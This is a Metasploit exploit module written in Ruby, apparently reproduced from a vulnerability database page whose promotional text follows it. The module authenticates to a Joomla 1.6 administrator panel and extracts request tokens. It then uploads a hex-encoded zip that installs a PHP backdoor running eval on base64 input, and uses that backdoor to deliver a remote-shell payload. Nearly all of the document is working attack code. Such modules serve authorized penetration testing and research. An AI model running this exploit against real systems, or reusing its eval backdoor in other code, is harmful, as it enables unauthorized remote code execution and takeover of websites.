`# Requirements
require 'msf/core'
# Class declaration
class Metasploit3 < Msf::Exploit::Remote
# Includes
include Msf::Exploit::Remote::HttpClient
# Initialize module
def initialize(info = {})
# Initialize information
super(update_info(info,
'Name' => 'Joomla 1.6.* Administrator PHP Code Execution',
'Description' => %q{
This module can be used to gain a remote shell to a Joomla! 1.6.* install when
administrator credentials are known. This is acheived by uploading a malicious
component which is used to execute the selected payload.
},
'Author' =>
[
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0 ))
register_options(
[
# Required
OptString.new('JDIR', [true, 'Joomla directory', '/']),
OptString.new('JUSR', [true, 'Joomla admin username', nil]),
OptString.new('JPWD', [true, 'Joomla admin password', nil]),
# Optional
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),
], self.class)
end
#################################################
# Extract "Set-Cookie"
def init_cookie(data, cstr = true)
# Raw request? Or cookie data specifically?
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
# Beginning
if ( data )
# Break them apart
data = data.split(', ')
# Initialize
ctmp = ''
tmps = {}
# Parse cookies
data.each do | x |
# Remove extra data
x = x.split(';')[0]
# Seperate cookie pairs
if ( x =~ /([^;\s]+)=([^;\s]+)/im )
# Key
k = $1
# Val
v = $2
# Valid cookie value?
if ( v.length() > 0 )
# Build cookie hash
tmps[k] = v
# Report cookie status
print_status("Got Cookie: #{k} => #{v}");
end
end
end
# Build string data
if ( cstr == true )
# Loop
tmps.each do |x,y|
# Cookie key/value
ctmp << "#{x}=#{y};"
end
# Assign
tmps['cstr'] = ctmp
end
# Return
return tmps
else
# Something may be wrong
init_debug("No cookies within the given response")
end
end
#################################################
# Simple debugging output
def init_debug(resp, exit = 0)
# is DBUG set? Check it
if ( datastore['DBUG'] )
# Print debugging data
print_status("######### DEBUG! ########")
pp resp
print_status("#########################")
end
# Continue execution
if ( exit.to_i > 0 )
# Exit
exit(0)
end
end
#################################################
# Generic post wrapper
def http_post(url, data, headers = {}, timeout = 15)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "application/x-www-form-urlencoded"
# Determine Content-Length
headers['Content-Length'] = data.length
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value
if ( !hval )
# Delete header key
headers.delete(hkey)
end
end
# Send request
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout )
# Returned
return resp
end
#################################################
# Generic post multipart wrapper
def http_post_multipart(url, data, headers = {}, timeout = 15)
# Boundary string
bndr = Rex::Text.rand_text_alphanumeric(8)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value
if ( !hval )
# Delete header key
headers.delete(hkey)
end
end
# Init
temp = ''
# Parse form values
data.each do |name, value|
# Hash means file data
if ( value.is_a?(Hash) )
# Validate form fields
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
encoding = value['encoding'] ? value['encoding']: "Binary"
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
temp << "Content-Type: #{mimetype}\r\n"
temp << "Content-Transfer-Encoding: #{encoding}\r\n"
temp << "\r\n"
temp << "#{contents}\r\n"
else
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
temp << "\r\n"
temp << "#{value}\r\n"
end
end
# Complete the form data
temp << "--#{bndr}--\r\n"
# Assigned
data = temp
# Determine Content-Length
headers['Content-Length'] = data.length
# Send request
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout)
# Returned
return resp
end
#################################################
# Generic get wrapper
def http_get(url, headers = {}, timeout = 15)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value // Also, remove post specific data, due to a bug ...
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
# Delete header key
headers.delete(hkey)
end
end
# Send request
resp = send_request_raw({
'uri' => datastore['JDIR'] + url,
'headers' => headers,
'method' => 'GET',
}, timeout)
# Returned
return resp
end
#################################################
def check
# Banner grab request
resp = http_get("index.php")
# Extract Joomla version information
if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )
# Version
vers = $1.strip
# Version "parts"
ver1, ver2, ver3 = vers.split(/\./)
# Only if 1.6.0 aka 1.6
if ( ver2.to_i != 6 )
# Safe
print_error("Only compatible with the Joomla 1.6 branch")
return Exploit::CheckCode::Safe
else
# Vulnerable
return Exploit::CheckCode::Vulnerable
end
else
# Verbose
print_error("Unable to determine Joomla version ...")
return Exploit::CheckCode::Safe
end
end
#################################################
def exploit
# Numeric test string
tstr = Time.now.to_i.to_s
# MD5 test string
tmd5 = Rex::Text.md5(tstr)
# Encoded payload
load = payload.encoded
# Credentials
user = datastore['JUSR']
pass = datastore['JPWD']
# Verbose
print_status("Attempting to extract a valid request token")
# Request a valid token
resp = http_get("administrator/index.php")
# Extract token
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
# Token
rtok = $1
# Verbose
print_status("Got token: #{rtok}")
else
# Failure
print_error("Unable to extract request token. Exploit failed!")
init_debug(resp)
return
end
# Init cookie
cook = init_cookie(resp)
# Build headers for authenticated session
hdrs = { "Cookie" => cook['cstr'] }
# Verbose
print_status("Attempting to login as: #{user}")
# Post data for login request
post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1"
# Login request
resp = http_post("administrator/index.php", post, hdrs)
# Authentication successful???
if ( resp && resp.code == 303 )
# Success
print_status("Successfully logged in as: #{user}")
else
# Failure
print_error("Unable to authenticate. Exploit failed!")
init_debug(resp)
return
end
# Verbose
print_status("Attempting to extract refreshed request token")
# Request a valid token (again)
resp = http_get("administrator/index.php?option=com_installer", hdrs)
# Extract token
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
# Token
rtok = $1
# Verbose
print_status("Got token: #{rtok}")
else
# Failure
print_error("Unable to extract request token. Exploit failed!")
init_debug(resp.body)
return
end
# Component specific data
cstr = "joomla"
czip = "com_#{cstr}.zip"
curi = "components/com_#{cstr}/#{cstr}.php"
#################################################
# Our Joomla specific PHP payload wrapper that is
# used to have more flexibility when delivering a
# selected payload to a target. The wrapper is in
# the Joomla! 1.6 compononent format and can also
# be used with other Joomla exploits.
#################################################
#
# Type: Joomla 1.6 Component
# File: com_joomla/joomla.xml <-- installer file
# com_joomla/joomla.php <-- component file
#
# Data: <?php
# # Modify settings
# error_reporting(0);
# ini_set('max_execution_time', 0);
#
# # Execute the selected payload, and delete the wrapper
# @eval(base64_decode(file_get_contents('php://input')));
# ?>
#################################################
# Hex encoded component zip data
wrap = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"
# Verbose
print_status("Attempting to upload payload wrapper component")
# Post data
data = {
# Component data
'install_package' =>
{
'filename' => czip,
'contents' => wrap,
'mimetype' => 'application/zip',
'encoding' => 'binary',
},
# Required install params
"installtype" => "upload",
"task" => "install.install",
"#{rtok}" => "1",
}
# Upload the wrapper component
init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs))
# Deliver the selected payload to the target
init_debug(http_post(curi, Rex::Text.encode_base64(load)))
# Shell
handler
end
end`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation